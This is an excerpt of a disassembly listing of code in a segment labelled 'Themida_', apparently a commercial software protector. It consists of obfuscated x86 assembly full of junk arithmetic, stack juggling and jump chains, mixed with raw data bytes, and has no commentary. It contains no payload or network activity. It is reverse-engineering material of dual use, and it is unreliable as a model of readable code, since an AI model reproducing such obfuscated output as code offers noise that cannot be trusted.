; ---------------------------------------------------------------------------


loc_563009:				; CODE XREF: Themida_:0056392Fj
		push	4969h
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		pop	ecx
		add	ecx, 4
		push	2107h
		mov	[esp], edx
		mov	edx, 4
		push	1335h
		jmp	loc_55F956
; ---------------------------------------------------------------------------
		dw 0CA81h
		dd 2D1345D1h, 0D2F7D2F7h, 0BC33C281h, 8BE9C14Bh
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56304F:				; CODE XREF: Themida_:0055B4C5j
		pop	ecx
		push	edi
		jmp	loc_556464
; ---------------------------------------------------------------------------


loc_563056:				; CODE XREF: Themida_:00554D02j
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_558BC2
; ---------------------------------------------------------------------------
		dd 4C481h, 0BD550000h, 4, 24E9E901h, 59FFFFECh,	4C181h
		dd 0EC830000h, 24048904h, 268h,	92CDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56308E:				; CODE XREF: Themida_:0055E969j
		push	51D959FAh
		pop	ecx
		xor	ecx, 11DD68ABh
		sub	ecx, 50024E59h
		jmp	loc_550BD8
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0F67DFCB8h, 4E39681Dh, 14890000h, 65AABA24h,	0F281743Eh
		dd 743E65ABh, 685AD001h, 0
		dd 58240429h, 2559E9h
		db 0
; ---------------------------------------------------------------------------


loc_5630D1:				; CODE XREF: Themida_:0055CB20j
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		mov	ebp, 295E290Ch
		sub	ebp, 295E2908h
		sub	esi, 5CD029E0h
		add	esi, ebp
		add	esi, 5CD029E0h
		mov	ebp, [esp]
		add	esp, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5653C3
; ---------------------------------------------------------------------------
		db 48h
		dd 44444135h, 268FE958h, 8143FFFFh, 0F00E0DC3h,	5BD90139h
		dd 4E9815Eh, 33000000h,	0C31240Ch, 240C3324h, 45EE95Ch
		dd 0C483FFFFh, 3C875A04h, 24248B24h, 0FF8A0CE9h, 7C781FFh
		dd 126D071h, 7EF81F7h, 5E26D071h, 0EF81D729h, 2BFA313Bh
		dd 594D68h, 240C8900h, 0F444D6B9h, 0FFCF0137h, 0E9592434h
		dd 0FFFFFFC2h, 2CD3665Ch, 5FE99C24h, 0BFFFFED6h, 5D397922h
		dd 0DE9DFF7h
		db 0EBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56319B:				; CODE XREF: Themida_:00558C7Dj
		push	esi
		push	ebp
		mov	ebp, 3E7710F2h
		add	ebp, 29A25058h
		and	ebp, 247337A9h
		dec	ebp
		xor	ebp, 73865E63h
		mov	esi, ebp
		pop	ebp
		or	esi, 6AC9448Ah
		and	esi, 55F32E3Ch
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1EA5F806h
		add	esi, eax
		pop	eax
		sub	ebp, 47D1332Bh
		add	ebp, esi
		add	ebp, 47D1332Bh
		pop	esi
		add	ebp, 563D7F86h
		add	ebp, esi
		sub	ebp, 563D7F86h
		sub	ebp, 70792632h
		pop	esi
		push	ebx
		mov	ebx, 35B91435h
		jmp	loc_564CC0
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0FF9BBEE9h, 0EA68FFh, 1C890000h, 685B5424h, 13D8h, 0BE243489h
		dd 19D2775Eh, 0C6814646h, 0E62D88A4h, 38F4C381h, 0F3E953E8h
		dd 81FFFFFAh, 4B2569E9h, 0E7DFE94Eh, 3487FFFFh,	52665C24h
		dd 8828B551h, 0D32859EAh, 0EB805A66h, 9BC3805Bh, 5CE9C300h
		dd 81FFFEEFh, 4C5h, 4C58100h, 33000000h, 4EE9242Ch, 81000011h
		dd 3E6A17EAh, 2DEA810Ah, 310FB76Fh, 57555AD7h, 0D94993BFh
		dd 0F7814F32h, 71C31C2Ah, 0FFAA3AE9h, 815B54FFh, 4C3h
		dd 5D7AE900h, 0EDC1FFFFh, 55ED8106h, 81018516h,	0EBB872EDh
		dd 5DE98991h, 66E9CD89h, 5CFFFF46h, 0F66E9F6h, 6866CCB6h
		dd 89661007h, 0F66240Ch, 0FFE9C8B6h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5632CF:				; CODE XREF: Themida_:00556858j
		pop	dword ptr [esp]
		jmp	loc_560842
; ---------------------------------------------------------------------------
		db 89h
		dd 0A4E92414h, 1FFFF2Bh, 24048BC7h, 4C481h, 74E90000h
		dd 0B8FFFEDFh, 2, 1D51EB81h, 0C3293628h, 0FFD756E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563301:				; CODE XREF: Themida_:00556712j
		mov	[esp], ecx
		mov	ecx, 5FF8625Ch
		jmp	loc_55E8C5
; ---------------------------------------------------------------------------
		dw 6C81h
		dd 21020424h, 148B797Ch, 4C48324h, 38630558h, 68576DEBh
		dd 2516h, 50241489h, 0B3C5E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563332:				; CODE XREF: Themida_:00561B73j
		mov	esi, 448C46FFh
		jmp	loc_5545B6
; ---------------------------------------------------------------------------
		dd 0D51BE951h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_563342:				; CODE XREF: Themida_:0055B468j
		sub	edi, 0B3A1BADEh
		jmp	loc_5580DD
; ---------------------------------------------------------------------------
		db 52h,	58h, 5Ah
		dd 0D2E95657h, 5EFFFF5Ah, 4EF81h, 3C870000h, 2C895C24h
		dd 4DFDBD24h, 0EF290395h, 4EFC15Dh, 0B01EF81h, 0EF813AACh
		dd 0C5E86413h, 211D0C2Dh, 0E9F8011Ch, 0FFFF9B35h, 2434895Ch
		dd 0C6815E54h, 4, 3304C683h, 74E92434h,	8BFFFEF2h, 0DCE92424h
		dd 80FFFF57h, 0E5C09AEDh, 0E9D5F606h, 0FFFF73F7h, 31240C33h
		dd 0C33240Ch, 0C2095C24h, 0D7E9E2D1h, 0BBFFFF83h, 57007DB2h
		dd 5002EBC1h, 0D11E3EB8h, 0E9C30942h, 1C42h, 74FF535Eh
		dd 8F5B0424h, 248B2404h, 48B6624h, 2792E924h, 5854FFFFh
		dd 405h, 63E6800h, 0C890000h, 0CDBB924h, 685728CFh, 0
		dd 0E9CF295Fh, 0FFFFC05Fh, 515DE929h, 0FFF617E9h, 243C89FFh
		dd 1E6FBFh, 5FF8013Fh, 6F2DD829h, 683F001Eh, 1417h, 0BD242C89h
		dd 0B87270Ah, 0FF6896E9h, 28FFB4FFh, 1409E9E3h,	2C33FFFFh
		dd 8E93E924h, 77FFFFFFh, 0D394E940h, 5653FFFEh,	6C3CBE66h
		dd 3EEC166h, 2DEE8166h,	8BB66D0h, 0F3296661h, 0F381665Eh
		dd 81667E71h, 0E9F44FC3h, 0FFFF020Fh, 0E9CF015Dh, 0FFFF2B0Dh
		dd 2046C280h, 0C5FE5AD5h, 4EC8352h, 66241C89h, 5234B551h
		dd 0FFCA6DE9h, 0F98859FFh, 66C8305Bh, 83240C8Bh, 2C8904ECh
		dd 81E58924h, 4C5h, 89575000h, 4C781E7h, 51000000h, 0FEE148E9h
		dd 0D320E9FFh, 5655FFFEh, 4A9CBB53h, 0DE89569Eh, 10EE95Bh
		dd 2C8B0000h, 4C48324h,	4C481h,	0C7810000h, 3AE4533h, 10E9EF01h
		db 0DFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5634F7:				; CODE XREF: Themida_:00561AECj
		neg	esi
		xchg	edx, esi
		add	edx, 1
		xchg	edx, esi
		jmp	loc_55572D
; ---------------------------------------------------------------------------


loc_563508:				; CODE XREF: Themida_:0055AC0Bj
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_55C3D9
; ---------------------------------------------------------------------------
		dd 0D093BE56h, 0F301D866h, 48B535Eh, 4C48324h, 52241C8Bh
		dd 0FFBB9AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563539:				; CODE XREF: Themida_:0055C254j
		push	ebx
		mov	ebx, 34F808FCh
		jmp	loc_55672A
; ---------------------------------------------------------------------------
		dd 4244481h, 16C463D9h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebx, 18037F6h
		jmp	loc_5507EE
; ---------------------------------------------------------------------------


loc_563585:				; CODE XREF: Themida_:0055157Aj
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	ebp, 47D1C48h
		add	ebp, ecx
		sub	ebp, 47D1C48h
		jmp	loc_56107C
; ---------------------------------------------------------------------------


loc_5635AC:				; CODE XREF: Themida_:0055C13Aj
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_558FCD
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8904ECh, 0F272E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5635C2:				; CODE XREF: Themida_:0055446Cj
		add	esp, 4
		push	ebx
		jmp	loc_55FC87
; ---------------------------------------------------------------------------


loc_5635CB:				; CODE XREF: Themida_:005527D3j
		pop	ebx
		push	ebx
		mov	ebx, 231A699Fh
		shr	ebx, 5
		jmp	loc_560557
; ---------------------------------------------------------------------------


loc_5635DA:				; CODE XREF: Themida_:0055581Dj
		add	esp, 4
		xor	edi, 18FE27F5h
		push	ebx
		jmp	loc_5550F1
; ---------------------------------------------------------------------------
		dd 8108E6C1h, 4A9C04F6h, 0FF5D569Eh, 0E95E2434h, 0FFFFBBA7h
		dd 4EC81h, 0C890000h, 2B924h, 0CF010000h, 68240C8Bh, 3C42h
		dd 89242C89h, 4C581E5h,	0E9000000h, 0FFFF32A2h,	401DE959h
		dd 9368FFFFh, 5F62514Ch, 690BE781h, 39E9777Dh
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56363F:				; CODE XREF: Themida_:00555F01j
		pop	esp
		mov	[esp], ecx
		push	eax
		push	70CB32F9h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	eax, 70CB32F8h
		jmp	loc_55E5B0
; ---------------------------------------------------------------------------
		db 0BFh, 9Fh, 0ACh
		dd 0FD010F83h, 0E92434FFh, 0FFFF9540h, 81E9C701h, 81FFFF9Ah
		dd 0F47EC2EEh, 34335936h, 24343124h, 0FF7C55E9h, 0D9CB80FFh
		dd 80B3B450h, 0C48064C4h, 2E4C0CDh, 9EEE9h
		db 0
; ---------------------------------------------------------------------------


loc_563699:				; CODE XREF: Themida_:0055D97Cj
		xor	edx, 0E8E69257h
		or	edi, edx
		pop	edx
		xor	edi, 60D1AECh
		sub	ebp, 31784B90h
		sub	ebp, edi
		add	ebp, 31784B90h
		jmp	loc_552000
; ---------------------------------------------------------------------------


loc_5636BB:				; CODE XREF: Themida_:005536B8j
		push	ebx
		mov	bl, ch
		jmp	loc_552780
; ---------------------------------------------------------------------------
		db 55h
		dd 0E33B5BBDh, 0BF87E948h, 48FFFFFh, 24248B24h,	0FF7188E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5636D9:				; CODE XREF: Themida_:00559B39j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55531C
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 68000000h,	286Fh, 0B8240489h, 508469F9h, 514BD935h
		dd 0F285E97Fh, 48FFFFFh, 80CFE924h, 148BFFFFh, 0E7895724h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 0DF04D028h, 9E56E95Ah
		dd 0C481FFFFh, 4, 0FEE0D3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563739:				; CODE XREF: Themida_:00563E4Ej
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5595C4
; ---------------------------------------------------------------------------


loc_563751:				; CODE XREF: Themida_:00562488j
		pop	ecx
		and	ebx, 37126EC0h
		jmp	loc_56567D
; ---------------------------------------------------------------------------
		db 0D1h, 0E8h, 35h
		dd 398BBFF3h, 0E9585B50h, 0FFFF09B2h, 4C38359h,	0FFAB85E9h
		dd 0E9D3F6FFh, 0FFFF258Eh
; ---------------------------------------------------------------------------


loc_56377C:				; CODE XREF: Themida_:0055767Ej
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		push	esi
		push	22CC5267h
		mov	esi, [esp]
		add	esp, 4
		shl	esi, 3
		xor	esi, 1E2E96A1h
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_562DD2
; ---------------------------------------------------------------------------
		dd 7D8E68h, 24148900h, 8904EC83h, 0E8882404h, 88C78853h
		dd 0DE95BFEh, 81FFFFF7h, 3427ACC7h, 81D70129h, 3427ACEFh
		dd 2C8B5A29h, 0E0895024h, 405h,	40500h,	4870000h, 6DE95C24h
		dd 1FFFF11h, 242C8BEEh,	8304C483h, 348704C6h, 0F7AFE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56380E:				; CODE XREF: Themida_:0056004Aj
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		jmp	loc_55352E
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFF88DAh, 7FA4ED81h, 0F5816D7Fh, 19A86975h
		dd 0FF64A9E9h, 241489FFh, 0BF575A54h, 4, 0FF1C15E9h, 240481FFh
		dd 4, 0F3EDE95Ah, 0D1F7FFFFh, 0FFF098E9h, 240C89FFh, 8904EC83h
		dd 4812424h, 424h, 1ED6E900h, 2C05FFFFh, 0E937B07Dh, 0FFFF3AC0h
		dd 944CC8BDh, 0E9EA0158h, 0FFFF6C21h
; ---------------------------------------------------------------------------


loc_563884:				; CODE XREF: Themida_:0055A953j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	2781750Dh
		push	dword ptr [esp]
		jmp	loc_553C99
; ---------------------------------------------------------------------------
		db 83h
		dd 0EC8104C4h, 4, 68240C89h, 29BDh, 83242489h, 8B042404h
		dd 0C481240Ch, 4, 797A68h, 24148900h, 7E1828BAh, 0E9FA874Ch
		dd 0FFFEF518h, 0BA685550h, 5D20ED24h, 0A3B95145h, 815C6A30h
		dd 380BE9C1h, 0C9814951h, 38F0691Dh, 6CF3F181h,	0F1810914h
		dd 0B3170F99h, 0E959CD09h, 0FFFFB353h, 4C781h, 0C7830000h
		dd 243C8704h, 3024248Bh, 2434FFF0h, 0FFE4D3E9h,	0D831ADFFh
		dd 0FF7A30E9h, 0CEE95FFFh
		db 0FFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_563927:				; CODE XREF: Themida_:00562DC3j
		push	2F0Ah
		mov	[esp], ecx
		jmp	loc_563009
; ---------------------------------------------------------------------------


loc_563934:				; CODE XREF: Themida_:0055A69Bj
		mov	edx, esp
		add	edx, 4
		push	ecx
		push	esi
		mov	esi, 4D0808D5h
		shl	esi, 7
		inc	esi
		jmp	loc_5623B1
; ---------------------------------------------------------------------------


loc_56394C:				; CODE XREF: Themida_:00559BE7j
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55347E
; ---------------------------------------------------------------------------
		dw 0F701h
		dd 136DE9h, 4C48100h, 0FF000000h, 34FF2434h, 24048B24h
		dd 4C481h, 0EC810000h, 4, 89243C89h, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 1C8EE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56399E:				; CODE XREF: Themida_:00559DE9j
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_55D939
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 0C4E90000h, 8BFFFFD7h, 0EC812414h, 4, 54240C89h
		dd 4C18159h, 81000000h,	4C1h, 728E900h,	34330000h, 24248B24h
		dd 240C8B66h, 4EC81h, 14890000h, 56E28924h, 0FF8E3CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563A01:				; CODE XREF: Themida_:00555375j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	63FAh
		mov	[esp], esi
		jmp	loc_560A4C
; ---------------------------------------------------------------------------
		dd 27E9E389h
		db 2Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563A1F:				; CODE XREF: Themida_:00555092j
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_556571
; ---------------------------------------------------------------------------


loc_563A2A:				; CODE XREF: Themida_:00553453j
		mov	[esp], edx
		push	21C31F37h
		jmp	loc_552442
; ---------------------------------------------------------------------------


loc_563A37:				; CODE XREF: Themida_:00558DF8j
		add	esi, ebp
		sub	esi, 7B9F7DB5h
		jmp	loc_55ACE3
; ---------------------------------------------------------------------------
		dd 0FECDA5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563A49:				; CODE XREF: Themida_:0055514Aj
		add	esp, 4
		add	esp, 4
		push	0C45h
		mov	[esp], ebx
		jmp	loc_553E48
; ---------------------------------------------------------------------------


loc_563A62:				; CODE XREF: Themida_:00562F3Aj
		push	edi
		jmp	loc_55768B
; ---------------------------------------------------------------------------
		dd 8324048Bh, 2C3304C4h, 242C3124h, 5C242C33h, 66F9F766h
		dd 664DDC68h, 66241489h, 63E99C50h
		db 0CDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_563A8B:				; CODE XREF: Themida_:00556494j
		and	edx, ecx
		pop	ecx
		dec	edx
		add	edx, 66386219h
		jmp	loc_55134A
; ---------------------------------------------------------------------------


loc_563A9A:				; CODE XREF: Themida_:0055AD63j
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], edx
		push	edi
		push	7C3B7960h
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		sub	edi, 357B1B6Fh
		add	edi, 365B62BCh
		and	edi, 212D32F9h
		push	eax
		mov	eax, 6CB13DD7h
		xor	eax, 0C254EA15h
		jmp	loc_5538C5
; ---------------------------------------------------------------------------
		dd 223E83B8h, 8BC78971h, 83E92404h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563AEF:				; CODE XREF: Themida_:005525F6j
		push	edi
		mov	edi, 1EA56EFFh
		jmp	loc_5588D3
; ---------------------------------------------------------------------------
		dw 515Ah
		dd 2B9h, 0E9CB0100h, 86Eh, 7904B850h, 0AAE9103Eh, 81FFFF9Fh
		dd 4C48CEF6h, 28EE8124h, 2D4907ADh, 2CC63609h, 5EE9F029h
		dd 81FFFF6Bh, 0FFFFFFE9h, 0C9E181FFh, 414DC079h, 828BF57h
		dd 29E909ECh, 49FFFFD0h, 53BCE981h, 0F181503Ah,	0DE828619h
		dd 0FF3D43E9h, 0BDE954FFh, 5CFFFFC5h, 0E9241C89h, 1329h
		dd 2434FF5Ah, 4E46E959h, 0E9C1FFFFh, 0E8E98108h, 890000CAh
		dd 70E959CBh, 1FFFF1Ah,	241C8BDDh, 4C481h, 0F6680000h
		dd 89000069h, 0D1BB241Ch, 5774061Bh, 1D4ACD68h,	53575F0Ah
		dd 92677A68h, 0F3815B5Ah, 6E325A3Bh, 380C381h, 0DF89F715h
		dd 0E9FB295Bh, 0FFFFDBFAh, 210EE95Ah, 4F21FFFFh, 2434FF1Ch
		dd 1196E9h, 98BA5200h, 8103BB17h, 0FFFFFFC2h, 0A8EA81FFh
		dd 81684260h, 6A0F2CE2h, 10CA814Bh, 51170B79h, 1ACFBE56h
		dd 0F5B94626h, 294356CEh, 9BC4E9F1h, 6858FFFFh,	1B8Dh
		dd 83240489h, 248904ECh, 24048324h, 24048B04h, 81E18951h
		dd 4C1h, 4C18100h, 87000000h, 55C240Ch,	4, 0E904EC83h
		dd 0FFFF0BADh, 0CE806CB6h, 7BF680C2h, 0EE80CEFEh, 5AF100F8h
		dd 0E959CF88h, 0FFFF9435h, 45F6815Eh, 0E93A9544h, 0FFFFFF0Ch
; ---------------------------------------------------------------------------


loc_563C58:				; CODE XREF: Themida_:0055B3BEj
		and	ah, 0A1h
		sub	ah, 7Eh
		jmp	loc_564FDB
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8B241C87h, 34FF2424h, 2434FF24h, 4C48358h, 637368h
		dd 0FBDBE900h, 2905FFFFh, 5B32C407h, 4EC81h, 0C1E90000h
		dd 81FFFFB3h, 4C1h, 74CBE900h, 0EF81FFFFh, 0DA95FEFh, 295FF829h
		dd 191305C8h, 0C8B3A16h, 3488E924h, 5D5DFFFFh, 4BE56h
		dd 0F5010000h, 8324348Bh, 0C58104C4h, 4, 83E0E955h, 0E589FFFFh
		dd 4C581h, 0C5810000h, 4, 0E9242C87h, 0FFFF35B3h, 0E6C1D6F7h
		dd 0FCEE8108h, 561821FEh, 162ACBBEh, 5EF12979h,	0F5D1E956h
		dd 895CFFFEh, 6E92434h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563D07:				; CODE XREF: Themida_:00555918j
		add	esp, 4
		jmp	loc_553200
; ---------------------------------------------------------------------------


loc_563D12:				; CODE XREF: Themida_:00560AF5j
		sub	ecx, 464725A9h
		add	ecx, edi
		jmp	loc_561E86
; ---------------------------------------------------------------------------
		db 81h
		dd 2C34A0F6h, 9A7CE96Fh, 0C781FFFFh, 39731D9Dh,	46E1E951h
		dd 433FFFFh, 24248B24h,	0FF0A07E9h, 0EAE95CFFh,	0BFFFFFB3h
		dd 2, 0FFE9ACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563D51:				; CODE XREF: Themida_:005581AEj
		pop	ebx
		xor	ebp, 9D4AC65Dh
		jmp	loc_55557E
; ---------------------------------------------------------------------------
		db 80h,	0C6h, 0FDh
		dd 5166EE28h, 0EE28FDB5h, 58595966h, 148BF028h,	177E6824h
		dd 0C890000h, 0E9E18924h, 0FFFF9AEEh
; ---------------------------------------------------------------------------


loc_563D80:				; CODE XREF: Themida_:00557213j
		and	ecx, 6FAF7DCFh
		inc	ecx
		sub	ecx, 326E0DFEh
		xor	ecx, 0C2912E4h
		sub	ecx, 0DE2A8DA2h
		jmp	loc_552F3B
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 1000000h, 0EC8358C3h, 0E2FFE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563DAE:				; CODE XREF: Themida_:0055300Cj
		push	dword ptr [esp]
		jmp	loc_55615A
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24148904h, 2CA26853h, 0D3E97934h, 29FFFF61h,	0EC8358C3h
		dd 241C8904h, 241C8B5Dh, 0E904C483h, 0FFFF15DEh, 0B31CA1BEh
		dd 0A0C78120h, 0E94D5341h, 0FFFFEA81h, 55240C89h, 0BB70A9BDh
		dd 246C0160h, 26E95D04h, 55FFFF97h, 467E96BDh, 2EDC14Ch
		dd 0FF8E13E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563E0D:				; CODE XREF: Themida_:0056155Aj
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_55E9C6
; ---------------------------------------------------------------------------


loc_563E18:				; CODE XREF: Themida_:00551563j
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55A64B
; ---------------------------------------------------------------------------


loc_563E22:				; CODE XREF: Themida_:00555EB1j
		pop	edi
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_560877
; ---------------------------------------------------------------------------


loc_563E30:				; CODE XREF: Themida_:00558ACEj
		mov	esi, 5BEA1B25h
		xor	esi, 709D1EA5h
		and	esi, 68031BD1h
		jmp	loc_55EB45
; ---------------------------------------------------------------------------


loc_563E46:				; CODE XREF: Themida_:00564F56j
		push	1
		mov	ebx, [esp]
		jmp	loc_563739
; ---------------------------------------------------------------------------
		db 87h
		dd 0F5C2414h, 463A68C8h, 4890000h, 0C988E924h, 0E3C1FFFEh
		dd 868E908h, 56930000h,	0FF6FE1E9h, 0C8B66FFh, 81CEE924h
		dd 565EFFFFh, 0F3685E54h, 0E9000022h, 0FFFEDD0Eh
; ---------------------------------------------------------------------------


loc_563E8C:				; CODE XREF: Themida_:00558E3Ej
		add	edi, esi
		pop	esi
		add	edi, 510E1EB3h
		jmp	loc_560C50
; ---------------------------------------------------------------------------
		dw 5250h
		dd 0D488CA88h, 88CCFE5Ah, 0E1C058E1h, 52536603h, 0F28033B2h
		dd 80C2FE2Dh, 0D788AAEAh, 0E924148Bh, 0FFFF6B10h
; ---------------------------------------------------------------------------


loc_563EC0:				; CODE XREF: Themida_:00561393j
		push	30F3h
		mov	[esp], edx
		mov	edx, 0BCBE1277h
		sub	eax, edx
		pop	edx
		sub	edi, eax
		pop	eax
		sub	edi, 1A40787Bh
		std
		push	0Ah
		mov	ecx, [esp]
		push	ebx
		sub	esp, 4
		sub	esp, 4
		push	esp
		jmp	loc_55FDCD
; ---------------------------------------------------------------------------
		dw 0F757h
		dd 815F241Ch, 647E0FE7h, 8BB85007h, 0D062B22h, 3E118E8h
		dd 0F35F542Dh, 0FFC73102h, 34FF2434h, 0C4835824h, 4EC8304h
		dd 0E9242C89h, 0FFFFFDAAh, 0EB81F329h, 68682E71h, 24D5BE56h
		dd 0CE8119F4h, 2FAA5076h, 1C681h, 0BA520000h, 1, 0FF3487E9h
		dd 91EB81FFh, 5D7C6A0Eh, 0BF6EB81h, 48B16DCh, 4C48124h
		dd 81000000h, 0DF6C15EBh, 42C3816Dh, 139E367h, 0B143E9C3h
		dd 3DB9FFFFh, 5713BC23h, 0FF8DFDE9h, 21FFBEFFh,	0E6817222h
		dd 21D670E4h, 81DEF74Eh, 0D8C6AEEEh, 5EF13185h,	2730E949h
		dd 348BFFFFh, 4C48324h,	0FEFB9EE9h, 0F2015BFFh,	66BFC281h
		dd 505E038Bh, 934E4B8h,	930D4806h, 3524E50Eh, 26ED3EF7h
		dd 0E958C229h, 0FFFF4F91h, 33240431h, 895C2404h, 98E9240Ch
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563FD7:				; CODE XREF: Themida_:00551670j
		mov	edx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, edx
		jmp	loc_55E060
; ---------------------------------------------------------------------------
		db 83h
		dd 148702C2h, 24248B24h, 9C2404FEh, 0FEC7F5E9h,	0E9BD55FFh
		dd 8122671Dh, 273DFC7h,	81EF0149h, 273DFEFh, 7C71E949h
		dd 489FFFFh, 239F6824h,	14890000h, 6A6C6824h, 34E978D7h
		dd 1000008h, 4AEF81CFh,	0E9203820h, 0FFFFFFC5h
; ---------------------------------------------------------------------------


loc_564034:				; CODE XREF: Themida_:00555190j
		push	ecx
		push	edi
		mov	edi, 5BA148E7h
		mov	ecx, edi
		pop	edi
		jmp	loc_560FDE
; ---------------------------------------------------------------------------
		db 33h
		dd 1C31241Ch, 241C3324h, 5024248Bh, 405E089h, 2D000000h
		dd 4, 5C240487h, 0E9240489h, 0FFFFEB0Eh, 240C8B66h, 8904EC83h
		dd 0E189240Ch, 4EC81h, 34890000h, 66306824h, 0D7E9782Ch
		dd 80000013h, 0C4FE0EE4h, 3060F480h, 0D80058E3h, 0B4E95A5Bh
		dd 84FFFF26h, 4BE99CC8h, 66FFFEC7h, 0E9242C31h,	0FFFEC742h
		dd 80B5B652h, 0EE80AECEh, 51525001h, 0CA889EB1h, 80D2F659h
		dd 0EAC00BCAh, 0EEE1E905h, 0E940FFFFh, 0FFFF2405h
; ---------------------------------------------------------------------------


loc_5640D0:				; CODE XREF: Themida_:0055ABD6j
		sub	esi, 6EF91B6Eh
		jmp	loc_556AD2
; ---------------------------------------------------------------------------


loc_5640DB:				; CODE XREF: Themida_:00562C8Aj
		not	ecx
		sub	ecx, 0D7743CFFh
		jmp	loc_55F14E
; ---------------------------------------------------------------------------
		dd 4246C01h, 83242C8Bh,	39E904C4h
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5640F7:				; CODE XREF: Themida_:00554D68j
		push	ebp
		mov	ebp, 338E39BBh
		jmp	loc_553102
; ---------------------------------------------------------------------------


loc_564102:				; CODE XREF: Themida_:00555A9Dj
		add	esp, 4
		mov	[edi+eax*4+1], bl
		jmp	loc_562A2B
; ---------------------------------------------------------------------------
		dw 0FF51h
		dd 8B042474h, 0C481240Ch, 4, 0FFF5E5E9h, 0C3015CFFh, 7447C381h
		dd 0C23123A1h, 0FEC6BDE9h, 0C6B8E9FFh, 0E957FFFEh, 0F7Eh
; ---------------------------------------------------------------------------


loc_56413C:				; CODE XREF: Themida_:00551E50j
		push	5EDBh
		jmp	loc_55FD12
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 5954240Ch, 7DE95350h, 59FFFF05h, 0FFB9FCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564159:				; CODE XREF: Themida_:00560E06j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_556CD1
; ---------------------------------------------------------------------------
		dw 0F989h
